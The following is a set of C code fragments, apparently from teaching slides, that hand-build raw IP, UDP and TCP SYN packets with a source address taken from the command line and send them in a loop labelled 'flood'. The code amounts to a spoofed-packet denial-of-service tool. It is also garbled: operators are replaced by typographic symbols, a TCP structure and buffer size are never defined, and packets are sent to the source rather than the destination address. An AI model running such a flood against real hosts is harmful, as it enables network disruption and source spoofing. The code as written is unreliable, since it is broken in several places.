```
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>

sd = socket( PF_INET , SOCK_RAW , IPPROTO_UDP ) ;
sd = socket( PF_INET , SOCK_RAW , IPPROTO_TCP ) ;
sd = socket( PF_INET , SOCK_RAW , IPPROTO_RAW ) ;
```

```
// The IP header's structure
struct ipheader {
        unsigned char    iph_ver_ihl ;
        unsigned char    iph_tos;
        unsigned int     iph_len:16;
        unsigned int     iph_ident:16;
        unsigned int     iph_offset:16; // includes flags
        unsigned char    iph_ttl;
        unsigned char    iph_protocol;
        unsigned int     iph_chksum:16;
        unsigned int     iph_sourceip;
        unsigned int     iph_destip;
};
```

```
// UDP header's structure
struct udpheader {
        unsigned int udph_srcport:16;
        unsigned int udph_destport:16;
        unsigned int udph_len:16;
        unsigned int udph_chksum:16;
};
```

```
unsigned short csum(unsigned short *buf, int nwords)
{     //
   unsigned long sum;
   for(sum=0; nwords>0; nwords--)
      sum += *buf++;
   sum = (sum >> 16) + (sum &0xffff);
   sum += (sum >> 16);
   return (unsigned short)(~sum);
}
```

```
int main(int argc, char *argv[])
{
   int sd;
   char buffer[PCKT_LEN];
   memset(buffer, 0, PCKT_LEN);
// Our own headers' structures
   struct ipheader *ip = (struct ipheader *) buffer;
   struct udpheader *udp = (struct udpheader *)
      (buffer + sizeof(struct ipheader));
```

```
// Source IP:port, destination IP:port from the command line arguments
// The source is redundant, may be used later if needed
    struct sockaddr_in sin, din;

    sin.sin_addr.s_addr = inet_addr(argv[1]);
    sin.sin_port = htons(atoi(argv[2]));
    din.sin_addr.s_addr = inet_addr(argv[3]);
    din.sin_port = htons(atoi(argv[4]));

    sin.sin_family = din.sin_family = AF_INET;
```

```
// Fabricate IP header
    ip→iph_ver_ihl = 4∗16 + 5 ;
    ip→iph_tos = 16; // Low delay
    ip→iph_len = sizeof(struct ipheader) + sizeof(struct udpheader);
    ip→iph_ident = 0 ;
    ip→iph_offset = 0 ;    // do not fragment
    ip→iph_ttl = 64; // hops
    ip→iph_protocol = 17; // UDP; = 6 for TCP
    ip→iph_sourceip = inet_addr(argv[1]);
    ip→iph_destip = inet_addr(argv[3]);
```

// Fabricate the UDP header.

udp→udph_srcport = htons(atoi(argv[2]));

udp→udph_destport = htons(atoi(argv[4]));

udp→udph_len = htons(sizeof(struct udpheader));

udp→udph_chksum = 0 ;

// Calculate checksum at this point, not earlier

ip→iph_chksum = csum((unsigned short ∗)buffer, sizeof(struct ipheader)

+ sizeof(struct udpheader));

```
// TCP header can be fabricated in the same way
    tcp→th_sport = htons (atoi(argv[2]));
    tcp→th_dport = htons (atoi(argv[4]));
    tcp→th_seqnum = random ();
    tcp→th_acknum = 0;
    tcp→th_hl = htons(sizeof(struct tcpheader)/4);
    tcp→th_flags = TH_SYN;
    tcp→th_window = htons (65535);
    tcp→th_chksum = 0;
    tcp→th_urgptr = 0;
```

```
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);


// tell kernel do not build the packet. we built our own.
int one = 1;
const int *val = &one;
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
    perror("setsockopt");
    exit(−1);
}
// flood
for( int count = 0; count++ < 1000 ; usleep(100) )
    sendto(sd, buffer, ip→iph_len, 0 , (struct sockaddr *)&sin
            , sizeof(sin)) ;
close(sd);
}   // main
```